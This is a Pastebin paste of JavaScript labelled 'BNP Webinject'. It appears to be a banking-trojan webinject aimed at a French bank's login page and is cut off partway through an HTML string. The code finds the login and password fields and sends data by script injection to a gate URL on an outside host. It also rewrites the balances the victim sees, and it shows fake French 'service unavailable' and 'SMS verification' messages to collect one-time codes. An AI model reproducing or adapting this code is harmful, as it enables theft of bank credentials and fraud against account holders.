Advertisement
Xylitol

BNP Webinject

Nov 1st, 2014
438
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //=================== ADMIN =====================
  2.  
  3. var ALINK = "https://securetargeting.com/content/webanalyser/bnp/admin/";
  4. var GATE = ALINK+"gate/gate.php";
  5.  
  6. //=================== INIT PROTOS =====================
  7.  
  8. var By = (function(){
  9.    
  10.     function ByArgs(arguments){
  11.         var found = {
  12.             tag: false,
  13.             error: false,
  14.             element: false
  15.         }
  16.        
  17.         if(arguments && arguments.length >= 3){
  18.             var elements_array = arguments[1].split("|");
  19.             if(elements_array.length > 0){
  20.                 for(var k = 0; k < elements_array.length; k++){
  21.                     var elements = arguments[0].getElementsByTagName(elements_array[k]);
  22.                     if(elements && elements.length > 0){
  23.                         for(var i = 0; i < elements.length; i++){
  24.                             for(var e = 2; e < arguments.length; e++){
  25.                                 var pattern = new RegExp(arguments[e].split(":")[1],"igm");
  26.                                 if(arguments[e].split(":")[0] == "class"){
  27.                                     if(elements[i].className != null && pattern.test(elements[i].className)){
  28.                                         found.tag = true;
  29.                                     }else{
  30.                                         found.error = true;
  31.                                     }
  32.                                 }else if(arguments[e].split(":")[0] == "for"){
  33.                                     if(elements[i].className != null && pattern.test(elements[i].htmlFor)){
  34.                                         found.tag = true;
  35.                                     }else{
  36.                                         found.error = true;
  37.                                     }
  38.                                 }else{
  39.                                     if(elements[i].getAttribute(arguments[e].split(":")[0]) != null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
  40.                                         found.tag = true;
  41.                                     }else{
  42.                                         found.error = true;
  43.                                     }
  44.                                 }
  45.                             }
  46.                             if(found.tag && !found.error){
  47.                                 return elements[i];
  48.                             }else{
  49.                                 found.tag = false;
  50.                                 found.error = false;
  51.                             }
  52.                         }
  53.                     }
  54.                 }
  55.                 return false;
  56.             }else{
  57.                 return false;
  58.             }
  59.         }else{
  60.             return false;
  61.         }
  62.     }
  63.    
  64.     function ByContent(arguments){
  65.        
  66.         var found = {
  67.             tag: false,
  68.             error: false,
  69.             element: false
  70.         }
  71.    
  72.         if(arguments && arguments.length > 2){
  73.             var elements = arguments[0].getElementsByTagName(arguments[1]);
  74.             if(elements && elements.length > 0){
  75.                 for(var i = 0; i < elements.length; i++){
  76.                     for(var e = 2; e < arguments.length; e++){
  77.                         var pattern = new RegExp(arguments[e]);
  78.                         if(pattern.test(elements[i].innerHTML.toLowerCase())){
  79.                             found.tag = true;
  80.                         }else{
  81.                             found.error = true;
  82.                         }
  83.                     }
  84.                     if(found.tag && !found.error){
  85.                         return elements[i];
  86.                     }else{
  87.                         found.tag = false;
  88.                         found.error = false;
  89.                     }
  90.                 }
  91.             }
  92.         }
  93.         return false;
  94.     }
  95.    
  96.     return{
  97.         args: function(){
  98.             return ByArgs(arguments);
  99.         },
  100.        
  101.         content: function(){
  102.             return ByContent(arguments);
  103.         }
  104.     }
  105.    
  106. }())
  107.  
  108. by = By;
  109.  
  110. var Hujax = (function(){
  111.    
  112.     var callback_func = false;
  113.    
  114.     function SetCallback(p){
  115.         callback_func = p;
  116.     }
  117.    
  118.     function Send(url){
  119.        
  120.         var BOTID = document.getElementById("BMUD");   
  121.         if(BOTID){
  122.             BOTID = vw.text(BOTID);
  123.         }else{
  124.             BOTID = "%%ID%%";
  125.         }
  126.        
  127.         url += "&ip="+BOTID;
  128.        
  129.         if(document.getElementById("rgk_ajax")){
  130.             document.getElementById("rgk_ajax").parentNode.removeChild(document.getElementById("rgk_ajax"));
  131.         }
  132.         var script = document.createElement("script");
  133.         script.type = "text/javascript";
  134.         script.id = "rgk_ajax";
  135.         if (script.readyState) {
  136.             script.onreadystatechange = function() {
  137.                 if (script.readyState == "loaded" || script.readyState == "complete") {
  138.                     script.onreadystatechange = null;
  139.                     callback_func();
  140.                 }
  141.             };
  142.         } else {
  143.             script.onload = function() {
  144.                 callback_func();
  145.             };
  146.         }
  147.         url = url.replace(/\(/g,"%28").replace(/\)/g,"%29");
  148.         script.src = url;
  149.         if(document.getElementsByTagName("head").length > 0){
  150.             document.getElementsByTagName("head")[0].appendChild(script);
  151.         }else{
  152.             document.getElementsByTagName("body")[0].appendChild(script);
  153.         }
  154.     }
  155.  
  156.     return{
  157.        
  158.         callback: function(param){
  159.             SetCallback(param);
  160.         },
  161.        
  162.         send: function(param){
  163.             Send(param);
  164.         }
  165.  
  166.     }
  167.    
  168. }());
  169.  
  170. hujax = Hujax;
  171.  
  172. var Clone = (function(){
  173.  
  174.     function CheckQ(param){
  175.         if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){
  176.             return false;
  177.         }else{
  178.             return true;
  179.         }
  180.     }
  181.  
  182.     function COPY(obj,func){
  183.         if(obj.type == "image"){
  184.             var clo = document.createElement("img");
  185.             for (x in obj.attributes){
  186.                 if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  187.                     if(obj.attributes[x].name == "onclick" ||
  188.                        obj.attributes[x].name == "name" ||
  189.                        obj.attributes[x].name == "disabled" ||
  190.                        obj.attributes[x].name == "id"
  191.                     ){
  192.                         continue;
  193.                     }
  194.                     if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
  195.                         clo.setAttribute(obj.attributes[x].name,"button");
  196.                     }else{
  197.                         clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  198.                     }
  199.                 }
  200.             }
  201.         }else{
  202.             var clo = document.createElement(obj.tagName);
  203.             for (x in obj.attributes){
  204.                 if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  205.                     if(obj.attributes[x].name == "onclick" ||
  206.                        obj.attributes[x].name == "name" ||
  207.                        obj.attributes[x].name == "disabled" ||
  208.                        obj.attributes[x].name == "href" ||
  209.                        obj.attributes[x].name == "id"
  210.                     ){
  211.                         continue;
  212.                     }
  213.                     if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
  214.                         clo.setAttribute(obj.attributes[x].name,"button");
  215.                     }else{
  216.                         clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  217.                     }
  218.                 }
  219.             }
  220.         }
  221.         if(obj.tagName == "A" || obj.tagName == "BUTTON" || obj.tagName == "LI"){
  222.             clo.innerHTML = obj.innerHTML;
  223.         }
  224.         clo.style.cursor = "pointer";
  225.         obj.style.display = "none";
  226.         AddListenner(clo,"click",func);
  227.         obj.parentNode.insertBefore(clo,obj);
  228.     }
  229.    
  230.     function AddListenner(obj,evType,func){
  231.         if(obj.addEventListener ){
  232.             obj.addEventListener(evType,func,false);
  233.             return true;
  234.         }else if(obj.attachEvent){
  235.             var r = obj.attachEvent('on'+evType,func);
  236.             return r;
  237.         }else{
  238.             elm['on'+evType] = func;
  239.         }
  240.     }
  241.    
  242.     function JUSTCOPYINPUT(obj,content){
  243.         var clo = document.createElement(obj.tagName);
  244.         for (x in obj.attributes){
  245.             if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
  246.                 if(obj.attributes[x].name == "onclick" ||
  247.                    obj.attributes[x].name == "name" ||
  248.                    obj.attributes[x].name == "href" ||
  249.                    obj.attributes[x].name == "id" ||
  250.                    obj.attributes[x].name == "value"
  251.                 ){
  252.                     continue;
  253.                 }
  254.                 clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
  255.             }
  256.         }
  257.         clo.value = content;
  258.         obj.style.display = "none";
  259.         obj.parentNode.insertBefore(clo,obj);
  260.     }
  261.    
  262.     return{
  263.         click: function(obj,func){
  264.             COPY(obj,func);
  265.         },
  266.        
  267.         copy: function(obj,content){
  268.             JUSTCOPYINPUT(obj,content);
  269.         }
  270.     }
  271.    
  272. }())
  273.  
  274. clone = Clone;
  275.  
  276. var VW = (function(){
  277.    
  278.     var fTarget = false;
  279.     var fDeftime = 4;
  280.     var fTime = fDeftime;
  281.     var fCallback = function(){return false;};
  282.    
  283.     function getViewportHeight() {
  284.         var ua = navigator.userAgent.toLowerCase();
  285.         var isOpera = (ua.indexOf('opera')  > -1);
  286.         var isIE = (!isOpera && ua.indexOf('msie') > -1);
  287.         return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;
  288.     }
  289.    
  290.     return{
  291.         hidedoc: function(doc){
  292.             var none_div = doc.getElementById("none_div");
  293.             if(none_div){
  294.                 none_div.style.display = "";
  295.             }else{
  296.                 doc.documentElement.style.display = "none";
  297.             }
  298.         },
  299.        
  300.         showdoc: function(doc){
  301.             var none_div = doc.getElementById("none_div");
  302.             if(none_div){
  303.                 none_div.style.display = "none";
  304.             }else{
  305.                 doc.documentElement.style.display = "";
  306.             }
  307.         },
  308.        
  309.         browser: function(){
  310.             if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){
  311.                 return "IE6";
  312.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){
  313.                 return "IE7";
  314.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){
  315.                 return "IE8";
  316.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){
  317.                 return "IE9";
  318.             }else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){
  319.                 return "IE10";
  320.             }else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){
  321.                 return "FF";
  322.             }else{
  323.                 return "OTHER";
  324.             }
  325.         },
  326.        
  327.         bind: function(obj, evType, func){
  328.        
  329.             if(obj.removeEventListener){
  330.                 obj.removeEventListener(evType,func,false);
  331.             }else if(obj.detachEvent){
  332.                 obj.detachEvent ('on'+evType,func);
  333.             }
  334.            
  335.             if(obj.addEventListener ){
  336.                 obj.addEventListener(evType,func,false);
  337.                 return true;
  338.             }else if(obj.attachEvent){
  339.                 var r = obj.attachEvent('on'+evType,func);
  340.                 return r;
  341.             }else{
  342.                 elm['on'+evType] = func;
  343.             }
  344.            
  345.         },
  346.        
  347.         mouse: function(eve,element){
  348.             if(document.createEvent){
  349.                 var event = document.createEvent('MouseEvents');
  350.                 event.initMouseEvent(eve,true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
  351.                 element.dispatchEvent(event);
  352.             }else if(element.fireEvent){
  353.                 if(eve == "click"){
  354.                     element.click();
  355.                 }else{
  356.                     var event = document.createEventObject();
  357.                     element.fireEvent('on'+eve, event);
  358.                 }
  359.             }
  360.         },
  361.        
  362.         text: function(param){
  363.             if(param){
  364.                 var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
  365.                 return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
  366.             }else{
  367.                 return "";
  368.             }
  369.         },
  370.        
  371.         from: function(parent,child){
  372.             return parent && child ? parent.getElementsByTagName(child) : false;
  373.         },
  374.        
  375.         digits: function(digits){
  376.             var RES = {
  377.                 NUMBERS:"",
  378.                 OTHER: ""
  379.             }
  380.             var res = '';
  381.             if(digits && digits.length > 0){
  382.                 digits = digits.replace(/\u2212/g, "-");
  383.                 var ValidChars = "0123456789";
  384.                 for(var i = 0;i < digits.length; i++){
  385.                     var Char = digits.charAt(i);
  386.                     if(ValidChars.indexOf(Char) >=0){
  387.                         res += Char;
  388.                     }else{
  389.                         RES.OTHER += Char;
  390.                     }
  391.                 }
  392.             }
  393.             RES.NUMBERS = parseFloat(res);
  394.             return RES;
  395.         },
  396.        
  397.         blockenter: function(el){
  398.             if(el){
  399.                 el.onkeypress = function(evt){
  400.                     var evt = (evt) ? evt : ((event) ? event : null);
  401.                     var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
  402.                     if ((evt.keyCode == 13) && (node.type=="text" || node.type=="password")){
  403.                         return false;
  404.                     }
  405.                 }
  406.             }
  407.         },
  408.        
  409.         selected: function(select){
  410.             if(select){
  411.                 var RES = {
  412.                     VALUE: "",
  413.                     TEXT: ""
  414.                 }
  415.                 RES.VALUE = select[select.selectedIndex].value;
  416.                 RES.TEXT = select[select.selectedIndex].text;
  417.                 return RES;
  418.             }else{
  419.                 return false;
  420.             }
  421.         },
  422.        
  423.         docheight: function(){
  424.             return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, getViewportHeight());
  425.         },
  426.        
  427.         docwidth: function(num){
  428.             if(num){
  429.                 return (window.screen.availWidth / num);
  430.             }else{
  431.                 return window.screen.availWidth;
  432.             }
  433.         },
  434.        
  435.         finder: function(obj,callback,time){
  436.             fTarget = obj;
  437.             fCallback = callback;
  438.             if(time)fTime = time;
  439.             setTimeout(vw._finder,500);
  440.         },
  441.        
  442.         _finder: function(){
  443.             if(fTarget()){
  444.                 fCallback();
  445.                 fTime = fDeftime;
  446.             }else{
  447.                 if(fTime > 0){
  448.                     fTime--;
  449.                     setTimeout(vw._finder,1000);
  450.                 }else{
  451.                     fTime = fDeftime;
  452.                 }
  453.             }
  454.         },
  455.        
  456.         framedoc: function(frame){
  457.             var RES = {
  458.                 DOC: false,
  459.                 WIN: false
  460.             }
  461.             if(vw.browser() == "FF" && frame){
  462.                 RES.DOC = frame.contentDocument;
  463.                 RES.WIN = frame.contentWindow;
  464.             }else if((/IE/igm.test(vw.browser())) && frame && frame.readyState == "complete"){
  465.                 RES.DOC = frame.contentWindow.document;
  466.                 RES.WIN = frame.contentWindow;
  467.             }
  468.            
  469.             return RES;
  470.         },
  471.        
  472.         splitiban: function(iban){
  473.             iban = iban+"";
  474.             var res = iban.substr(0,2)+" ";
  475.             var tmp = iban.substr(2,iban.length);
  476.             var count = 0;
  477.             for(var i = 0; i < tmp.length; i++){
  478.                 if(count < 4){
  479.                     res += tmp[i];
  480.                     count++;
  481.                 }else{
  482.                     res += " "+tmp[i];
  483.                     count = 1;
  484.                 }
  485.                
  486.             }
  487.             return res;
  488.         },
  489.        
  490.         getstyle: function(oElm, strCssRule){
  491.             var strValue = "";
  492.             if(document.defaultView && document.defaultView.getComputedStyle){
  493.                 strValue = document.defaultView.getComputedStyle(oElm, "").getPropertyValue(strCssRule);
  494.             }
  495.             else if(oElm.currentStyle){
  496.                 strCssRule = strCssRule.replace(/\-(\w)/g, function (strMatch, p1){
  497.                     return p1.toUpperCase();
  498.                 });
  499.                 strValue = oElm.currentStyle[strCssRule];
  500.             }
  501.             return strValue;
  502.         }
  503.  
  504.     }
  505.    
  506. }())
  507.  
  508. vw = VW;
  509.  
  510. var Replacer = (function(){
  511.    
  512.     var start_position = new Array();
  513.     var drop_data = new Array();
  514.    
  515.     var prefix = {
  516.         minus: "-",
  517.         plus: ""
  518.     }
  519.    
  520.     var splitter = {
  521.         value: "none",
  522.         position: "none"
  523.     }
  524.    
  525.     var summGet;
  526.     var summSet;
  527.    
  528.     var masks = new Array();
  529.    
  530.     function Content(param){
  531.         if(param){
  532.             var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
  533.             return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
  534.         }else{
  535.             return "";
  536.         }
  537.     }
  538.    
  539.     function _setArgs(args){
  540.         for(var i = 0; i < args.length; i++){
  541.             start_position.push(args[i]);
  542.         }
  543.     }
  544.    
  545.     function _getArgs(){
  546.         for(var i = 0; i < start_position.length; i++){
  547.             if(start_position[i]){
  548.                 return true;
  549.             }
  550.         }
  551.         return false;
  552.     }
  553.    
  554.     function _saveData(args){
  555.         for(var i = 0; i < args.length; i++){
  556.             for(key in args[i]){
  557.                 drop_data[key] = args[i][key];
  558.             }
  559.         }
  560.     }
  561.    
  562.     function _getData(name){
  563.         return drop_data[name];
  564.     }
  565.    
  566.     function _setCurrencyFunctions(f1,f2){
  567.         summGet = f1;
  568.         summSet = f2;
  569.     }
  570.    
  571.     function _checkBy(el,data){
  572.         var pattern = new RegExp(drop_data[data],"igm");
  573.         if(pattern.test(el)){
  574.             return true;
  575.         }else{
  576.             return false;
  577.         }
  578.     }
  579.    
  580.     function _textIndex(el,data){
  581.         for(var i = 0; i < el.length; i++){
  582.             if(_checkBy(el[i].text,data)){
  583.                 return i;
  584.             }
  585.         }
  586.         return -1;
  587.     }
  588.    
  589.     function _valueIndex(el,data){
  590.         for(var i = 0; i < el.length; i++){
  591.             if(_checkBy(el[i].value,data)){
  592.                 return i;
  593.             }
  594.         }
  595.         return -1;
  596.     }
  597.    
  598.     function _replaceTag(element,summa){
  599.  
  600.         var tagSelect = /select|option/igm.test(element.tagName);
  601.         var tagInput = /input|textarea/igm.test(element.tagName);
  602.        
  603.         if(tagSelect){
  604.             if(splitter.value != "none" && splitter.position != "none"){
  605.                 var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  606.                 var balance = summGet(element.text.split(splitter.value)[splitter.position]);
  607.             }else{
  608.                 var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false;
  609.                 var balance = summGet(element.text);
  610.             }
  611.         }else if(tagInput){
  612.             if(splitter.value != "none" && splitter.position != "none"){
  613.                 var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  614.                 var balance = summGet(element.value.split(splitter.value)[splitter.position]);
  615.             }else{
  616.                 var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false;
  617.                 var balance = summGet(element.value);
  618.             }
  619.         }else{
  620.             if(splitter.value != "none" && splitter.position != "none"){
  621.                 var minus = (Content(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
  622.                 var balance = summGet(Content(element).split(splitter.value)[splitter.position]);
  623.             }else{
  624.                 var minus = (Content(element).indexOf(prefix.minus) != -1) ? true : false;
  625.                 var balance = summGet(Content(element));
  626.             }
  627.         }      
  628.        
  629.         var new_balance = balance+parseFloat(summa);
  630.         if(minus)balance = balance * -1;
  631.         balance = summSet(balance);
  632.         new_balance = summSet(new_balance);
  633.        
  634.         if(tagSelect){
  635.             var f = element.text.replace(balance+"",new_balance+"");
  636.         }else if(tagInput){
  637.             var f = element.value.replace(balance+"",new_balance+"");
  638.         }else{
  639.             var f = element.innerHTML.replace(balance+"",new_balance+"");
  640.         }
  641.        
  642.         if(parseFloat(new_balance) >= 0){
  643.             f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus );
  644.             f = f.replace("-"+new_balance+"",new_balance+"");
  645.         }else{
  646.             f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus );
  647.             f = f.replace(/\-/,"");
  648.         }
  649.        
  650.         if(tagSelect){
  651.             element.text = f;
  652.         }else if(tagInput){
  653.             element.value = f;
  654.         }else{
  655.             element.innerHTML = f;
  656.             if(parseFloat(new_balance) >= 0){
  657.                 element.innerHTML = element.innerHTML.replace(/solltexttable/igm,"");
  658.             }
  659.         }
  660.        
  661.         if(splitter.value != "none" && splitter.position != "none"){
  662.             splitter.value = "none";
  663.             splitter.position = "none";
  664.         }
  665.        
  666.     }
  667.    
  668.     function _setSplitter(value,position){
  669.         splitter.value = value;
  670.         splitter.position = position;
  671.     }
  672.    
  673.     function _drawTable(table,class1,class2){
  674.         var index = 0;
  675.         var trs = table.getElementsByTagName("tr");
  676.         if(trs && trs.length > 0){
  677.             for(var i = 0; i < trs.length; i++){
  678.                 if(trs[i].className == "ev" || trs[i].className == "od"){
  679.                     if(index % 2 == 0){
  680.                         trs[i].className = class1;
  681.                     }else{
  682.                         trs[i].className = class2;
  683.                     }
  684.                     index++;
  685.                 }
  686.             }
  687.         }
  688.     }
  689.    
  690.     function _convertDate(date){
  691.         var splitter = false;
  692.         if(/\./igm.test(date)){
  693.             splitter = ".";
  694.         }else{
  695.             splitter = "/";
  696.         }
  697.         var els = date.split(splitter);
  698.         if(els && els.length == 3){
  699.             var returnValue = 0;
  700.             returnValue += parseFloat(els[2]) * 365;
  701.             returnValue += parseFloat(els[1]) * 30;
  702.             returnValue += parseFloat(els[0]);
  703.             return returnValue;
  704.         }else if(els && els.length == 2){
  705.             var returnValue = 0;
  706.             returnValue += parseFloat(els[2]) * 365;
  707.             returnValue += parseFloat(els[1]) * 30;
  708.             return returnValue;
  709.         }else{
  710.             return -1;
  711.         }
  712.     }
  713.    
  714.     return{
  715.         init: function(){
  716.             _setArgs(arguments);
  717.         },
  718.        
  719.         canstart: function(){
  720.             return _getArgs();
  721.         },
  722.        
  723.         save: function(){
  724.             _saveData(arguments);
  725.         },
  726.        
  727.         check: function(el,data){
  728.             return _checkBy(el,data);
  729.         },
  730.        
  731.         textIndex: function(el,data){
  732.             return _textIndex(el,data);
  733.         },
  734.        
  735.         valueIndex: function(el,data){
  736.             return _valueIndex(el,data);
  737.         },
  738.        
  739.         get: function(name){
  740.             return _getData(name);
  741.         },
  742.        
  743.         currency: function(f1,f2){
  744.             _setCurrencyFunctions(f1,f2);
  745.         },
  746.        
  747.         replace: function (el,amount){
  748.             _replaceTag(el,amount);
  749.         },
  750.        
  751.         splitter: function (value,position){
  752.             _setSplitter(value,position);
  753.         },
  754.        
  755.         drawtable: function (table,class1,class2){
  756.             _drawTable(table,class1,class2);
  757.         },
  758.        
  759.         date: function(str){
  760.             return _convertDate(str);
  761.         },
  762.        
  763.         tomask: function(param){
  764.             masks.push(param);
  765.         },
  766.        
  767.         bymask: function(text){
  768.             for(var i = 0; i < masks.length; i++){
  769.                 var pattern = new RegExp(masks[i],"igm");
  770.                 if(pattern.test(text)){
  771.                     return true;
  772.                 }
  773.             }
  774.             return false;
  775.         }
  776.     }
  777.    
  778. }())
  779.  
  780. replacer = Replacer;
  781.  
  782. var Currency = (function(){
  783.    
  784.     var type_c = false;
  785.    
  786.     function ConvertibleIn(digits){
  787.          var res = '';
  788.           if(digits && digits.length > 0){
  789.             digits = digits.replace(/\u2212/g, "-");
  790.             var ValidChars = "-.0123456789";
  791.             for(var i = 0;i < digits.length; i++){
  792.               var Char = digits.charAt(i);
  793.               if(ValidChars.indexOf(Char) >=0){
  794.                 res += Char;
  795.               }
  796.             }
  797.           }
  798.           return parseFloat(res);
  799.     }
  800.    
  801.     function ConvertibleOut(digits,r){
  802.         if(r == 1){
  803.             digits = digits.toString().replace(/\$|\,/g,'');
  804.             if(isNaN(digits))digits = "0";
  805.             sign = (digits == (digits = Math.abs(digits)));
  806.             digits = Math.floor(digits*100+0.50000000001);
  807.             cents = digits%100;
  808.             digits = Math.floor(digits/100).toString();
  809.             if(cents<10)cents = "0" + cents;
  810.             for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)
  811.                 digits = digits.substring(0,digits.length-(4*i+3))+','+
  812.             digits.substring(digits.length-(4*i+3));
  813.             return (((sign)?'':'-') + digits + '.' + cents);
  814.         }else if(r == 2){
  815.             digits = digits.toString().replace(/\$|\,/g,'');
  816.             if(isNaN(digits))digits = "0";
  817.             sign = (digits == (digits = Math.abs(digits)));
  818.             digits = Math.floor(digits*100+0.50000000001);
  819.             cents = digits%100;
  820.             digits = Math.floor(digits/100).toString();
  821.             if(cents<10)cents = "0" + cents;
  822.             for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)
  823.                 digits = digits.substring(0,digits.length-(4*i+3))+'.'+
  824.             digits.substring(digits.length-(4*i+3));
  825.             return (((sign)?'':'-') + digits + ',' + cents);
  826.         }else{
  827.             return digits;
  828.         }
  829.     }
  830.    
  831.     function getCurrency(digits){
  832.         if(digits){
  833.             if(/[0-9]/igm.test(digits)){
  834.                 if(/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)){
  835.                     type_c = 1;            
  836.                     return ConvertibleIn(digits.replace(/\,/g, ''));
  837.                 }else{
  838.                     type_c = 2;
  839.                     return ConvertibleIn(digits.replace(/\./g, '').replace(/,/g, '.'));
  840.                 }
  841.             }else{
  842.                 return digits;
  843.             }
  844.         }else{
  845.             return digits;
  846.         }
  847.     }
  848.    
  849.     function setCurrency(digits){
  850.         if(type_c == 1 || type_c == 2){
  851.             return ConvertibleOut(digits,type_c);
  852.         }else{
  853.             return digits;
  854.         }
  855.     }
  856.    
  857.    
  858.     return{
  859.         get: function(param){
  860.             return getCurrency(param);
  861.         },
  862.        
  863.         set: function(param){
  864.             return setCurrency(param);
  865.         }
  866.     }
  867.    
  868. }())
  869.  
  870. summ = Currency;
  871.  
  872. //=================== INIT VARIABLES =====================
  873.  
  874. var UI_login_input = by.args(document,"input","type:text","maxlength:10");
  875. var UI_password_input = by.args(document,"input","type:password","maxlength:6");
  876. var UI_login_button_img = by.args(document,"img","src:acount_acces");
  877. if(UI_login_button_img)var UI_login_button = UI_login_button_img.parentNode;
  878.  
  879. var replacerArray = new Array();
  880.  
  881. var kl = "";
  882.  
  883. var FKTEXT = {
  884.     WAITING: "Attendez, s'il vous pla&#238;t...",
  885.     BLOCKTITLE: "Le service est temporairement inaccessible",
  886.     BLOCKMAIN: "Nous pr&#233;sentons nos excuses. Le service est temporairement inaccessible suite aux travaux techniques sur les serveurs de la banque. Nous faisons tout possible pour am&#233;liorer la qualit&#233; du service de nos clients et assurer votre s&#233;curit&#233; sur le niveau sup&#233;rieur. Nos sp&#233;cialistes vont restaurer le travail et l'acc&#232;s aux comptes dans les plus brefs d&#233;lais. Merci de votre patience et compr&#233;hension.",
  887.     BLOCTRYNEXTTIME: "Essayez entrer plus tard...",
  888.     SMSTITLE: "V&#233;rification suppl&#233;mentaire",
  889.     SMSQUERY: "Nous avons introduit, pour l'acc&#232;s plus s&#251;r &#224; vos comptes, un nouveau syst&#232;me de l'identification pour SMS code. Pour continuer inscrivez le code re&#231;u par SMS.",
  890.     SMSLABEL: "Code d'acess"
  891. }
  892.  
  893. var HOLDER = {
  894.     LOGIN: "",
  895.     PASSWORD: "",
  896.     SMS: ""
  897. }
  898.  
  899. var QUERY = {
  900.     COMMAND: "NONE",
  901.     VALUE: false,
  902.     CHANGED: false,
  903.     FINISH: false
  904. }
  905.  
  906. //=================== INIT FAKES FUNCTIONS =====================
  907.  
  908. vw.finish = function(){
  909.     if(!QUERY.CHANGED){
  910.         QUERY.FINISH = true;
  911.     }
  912. }
  913.  
  914. vw.fake_step = function(step,status){
  915.     switch(step){
  916.         case("login"):
  917.             vw.lethim();
  918.         break;
  919.        
  920.         case("relogin"):
  921.             vw.mouse("click",UI_clear_button_1);
  922.             vw.lethim();
  923.         break;
  924.        
  925.         case("wait"):
  926.             var fkWaitContent = '<div style="left:350px;top: 390px;position: absolute;z-index: 100;color: #333333;font: 0.75em Arial;text-align: center;width:350px;">  <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJYSURBVHja7JjPi9pAFMfz3kRcpdKDgj9QwUXw4qkKxT9A6WUPhd4KXgTxHyoUehP23v9DwUMFzx5W8SIeFFrZZjaVVjbJm5k3ui09ZOAxmZB88p03mZe8B851DagxXAmDEOMiKIRAZA+WypCAR1SDpTqTna4HCyAaxiylFEDVBwyYQAwdo0Y9qZQCUlAl3NUoDasQBiiqoGEYKkxo1KJr2CmgASqVu4b30QR83p+vdzULpXLDc9DJ6vX6q36//7FUKt15nncLBAjDN+lsNBq9bbVan2q1WqLRaNwUCgXHNfhT5w4xGAzetNvtL71eL1mpVM4gZCwU6dt8Pp/sdDqfu91uAKiCAmeLDofDD8Vi8aZarUYWBYlgy5q+D3vfbDaT1M7BC0MeAsBtLpdzVFAwgMjz/quTTqVSjq1SrWIppS8WrKAc/yqb6ZvD+SxbT5/yt8NVyvEpu6HzF1oMjaExNIbG0BgaQ/8FVP62F4NKBVxyoDJkuhvlpUql4mGS4w4bn1pBpQFAnkfEH8fj0Vqpbuqe/xf9sN1uWQtlhP2x1Wr1dT6ff+coVYEi/Xg8vl8ulz/X63UEKogfW+RUdfypP5bL5W+Hw+Gdn4+6mUyGhFqXiyaTyYOfOc/2+31vt9t5iUTCTafTZ6jDKGKRmcl0Ol0tFov7bDb7uNlscrPZ7DUoSh3h9Jw6VhYRBKMwaOojMULYVhwVKU/gTREWaQ5wI5lgJmTAiFpSB+U2agf+ap64EkbuQhsoMOOtd+30yTghLCGqBQtEuZdaqIDy/6Ikb6pSnMZPAgwAIMDKTKDUFxMAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div> <div style="float:left;width:300px;">       <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAuSURBVHjaYmRgYGBkIAKAFDERo5CFFIXMxCpkGTgTRxXiThQzZ878T4xCgAADAOPEAy1aYXEMAAAAAElFTkSuQmCC) repeat-x scroll left bottom transparent;height: 14px;"></div>       <div style="background: 